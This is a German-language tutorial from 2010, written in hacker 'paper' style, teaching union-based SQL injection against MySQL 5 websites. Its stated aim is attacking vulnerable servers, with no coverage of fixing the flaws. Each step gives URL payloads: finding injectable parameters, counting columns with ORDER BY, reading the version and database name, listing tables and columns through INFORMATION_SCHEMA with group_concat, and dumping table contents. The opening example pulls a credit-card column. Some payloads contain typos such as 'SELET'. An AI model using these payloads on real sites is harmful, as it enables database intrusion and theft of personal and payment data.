|=-----------------------------------------=| |=----------=[SQL Injection Paper]=--------=| |=---------=[written by KERA/n3xt]=--------=| |=------=[31.12.10 - Happy new year!]=-----=| |=-----------------------------------------=| #Content [0x00] - Intro [0x01] - Was ist eine Datenbank? [0x02] - Was ist eine SQL Injection? [0x03] - vulnerability check [0x04] - Trenn und Kommentarzeichen [0x05] - Columnanzahl herausfinden [0x06] - Angreifbare Columns herausfinden [0x07] - MySQL Version herausfinden [0x08] - Datenbanknamen herausfinden [0x09] - Tabellenmamen herausfinden [0x10] - Spaltennamen herausfinden [0x11] - Daten ausgeben lassen [0x12] - Tipps [0x13] - Outro ######################################## --[0x00]-- Intro: In diesem Tutorial werde ich euch zeigen wie ihr eine SQL injection auf angreifbare Server ausführt. Hier geht es weder darum wie eine entsteht noch wie man sie fixxen kann! So, nun noch viel Spaß. ####################################### --[0x01]-- Was ist eine Datenbank? Naja eine Datenbank(eng: Database) ist nunmal eine Bank von Daten. In MySQL Datenbanken werden Tabellen gespeichert. Diese Tabellen sehen so aus ____ ________ _____ |Name|nickname| CC | |------------------- |hans| KERA |12345| |pete| n3xt |65366| ---- -------- ----- ######################################## --[0x02]-- Was ist eine SQL Injection? Beispiel: target/produkte/katerogie.php?id=1337 SQL Query:SELECT produkt,preis FROM katerogie where id = 1337 SQLi : target/produkte/katerogie.php?id=1337/**/UNION/**/SELET/**/CC/**/FROM/**/SHOP.DATEN+--+ SQL QUery:SELECT CC FROM Daten where id = 1337 ######################################### --[0x03]-- vulnerability check "Vulns" kommen oft, wie in meinem Beispie, in ID's die im GET-Parameter übergeben werden vor. Es sind auch SQL Injections über POST-Parameter möglich, auf diese will ich aber in diesem Tutorial nicht eingehen. (Ich empfehle hierzu das SQLi Tutorial was in Video2Brain PHP enthalten ist!) Wenn man nun ein Hochkomma hinter die ID hängt und ein SQL Error ausgegeben wird haben wir eine "Vuln-Stelle" gefunden. Wenn die Seite wieder normal ausgegeben wird ist sie nicht angreifbar. ######################################## --[0x04]-- Trenn/End -zeichen Mann muss zwischen den Befehlen den Sourcecode auskommentieren, das kann man mit "/**/"," " und mit "+". Am Ende der URL brauchen wir dann auch nochmal ein "#" "+--+" oder "--" ####################################### --[0x05]-- Columnanzahl herausfinden Um die Anzahl der Columns herauszufinden benutzen wir den Befehl "ORDER BY", welcher eigentlich dazu benutzt wird um zu sortieren. Wir verlangen also z.B. 3 Spalten von der ID 1337, und die Seite wird ohne Fehler ausgegeben. Das heißt die Seite hat 3 oder mehrere Spalten. Wenn wir 5 eingeben wird ein SQL Error angezeigt, Wir probieren es nochmal mit 4 und die Seite wird wieder ohne Fehler angezeigt, dass heißt wir haben 4 Spalten in ID 1337. Beispiel_richtig : target/lala.php?id=1337/**/ORDER/**/BY/**/4+--+ ##################################### --[0x06]-- Angreifbare Columns herausfinden Oben gennantes tuen wir mit dem Befehl UNION SELECT. Nach UNION SELECT müssen die Columns hintereinander angegeben werden. Beispiel:target/kaka.php?id=1337+UNION+SELECT+1,2,3,4# Wenn uns nun keine deutlich sehbare Zahl ausgegeben wird müssen wir den Query unterbrechen, dass tuen wir in dem wir ein minus vor die ID schreiben oder sie durch eine Zahl die nicht existiert ersetzen. Beispiel:target/kaka.php?id=-1337+UNION+SELECT+1,2,3,4# #################################### --[0x07]-- MySQL Version herausfinden Die MySQL Version ist wichtig, da dieses tutorial nur für Version 5.x ist Unter Version 5.x muss man die Tabellennamen raten. Wir können den angreifbaren column nun durch "@@VERSION" oder "Version()" ersetzen und uns wird die Version ausgegeben. Beispiel:target/pipi.php?id=6077/**/UNION/**/SELECT/**/1,@@VERSION,2,3,4-- #################################### --[0x08]-- Datenbanknamen herausfinden Hier das selbe wie bei der Version. Nur, dass wir statt "@@VERSION/VERSION()", "Database()" nehmen. Achtung "@@DATABASE" klappt nicht! #################################### --[0x09]-- Tabellennamen herausfinden Nun müssen Wir schon bisschen mehr tippen. Wir ersetzen "group_concat(table_name)", was da passiert sollte selbsterklärend sein. "group_concat", benutzen wir hier um mehrere Tabellen aufeinmal ausgeben zu lassen. Nun muss MySQL natürlich wissen von wo wir table namen haben wollen. Nun, wir wollen sie von der Tabelle "Tables" aus "Information_Schema", welche bei MySQL v5 immer existiert. Dazu hängen wir ans ende der URL (Nicht vor das #,+--+ oder --) folgendes: "/**/FROM/**/INFORMATION/**/SCHEMA.TABLES/**/WHERE/**/TABLE_SCHEMA=0xHex+--+" "Hex" müssen wir durch den Hexwert des Datenbanknamens ersetzen. Ihr könnt euch dafür etweder selber was coden, einen online decoder oder mein script benutzen. Mein Script findet ihr in der Perl Section. ################################### --[0x10]-- Spaltennamen herausfinden In Tabellen gibt es eben auch Spalten und diese müssen wir uns ausgeben lassen. Dazu erstezen wir "group_concat(table_name)" durch "group_concat(column_name)", "/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/" durch "/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/", "TABLE_SCHEMA=0x" durch "TABLE_NAME=0x" und den Hex des Databasename durch den Hex des Tabellennamen. Wir sollten nun die Spaltenamen sehen. Beispiel : target/popo.php?id=6077/**/UNION/**/SELECT/**/1,group_concat(column_name),3,4/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME=0xHEX+--+ ################################# --[0x11]-- Daten ausgeben lassen Tja, am Ende des Tages wollen Wir uns eben noch die Daten ausgeben lassen. Dazu ersetzen Wir "group_concat(column_name)" durch "group_concat(spaltename1,spaltename2)" und "/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME=0xHEX" durch "/**/FROM/**/DATENBANK.TABELLENNAME+--+" Datenbank steht hierbei für den Namen der Datenbank und Tabellennamen für den der Tabellen. (; ################################ --[0x12]-- Tipps So jetzt noch paar Tipps: Wenn etwas nicht klappt versucht mal andere Kommentarzeichen et cetera. Lasst euch mit "0x3a" einen Doppelpunkt zwischen den Daten ausgeben. Wenn ihr witzig seit lass euch mit "0xHEXNAME" euren Nicknamen ausgeben. ############################### --[0x13]-- Outro So das war's! Ich hoffe euch hat dieses Paper/Tutorial gefallen und ihr hab was gelernt. Dises Paper wurde Nachts geschrieben und ich war einfach totmüde und wollte es nicht am nächsten Tag beenden. Tja, ich hoffe es sind nicht zuviele Rechschreibfehler drinne. :rolleyes: Thanks to Florian,CaNN1337,David,Night,1x33x7,HBA Crew and J0hn.X3r for his tutorials! ############################## Quelle : http://guh.isgreat.org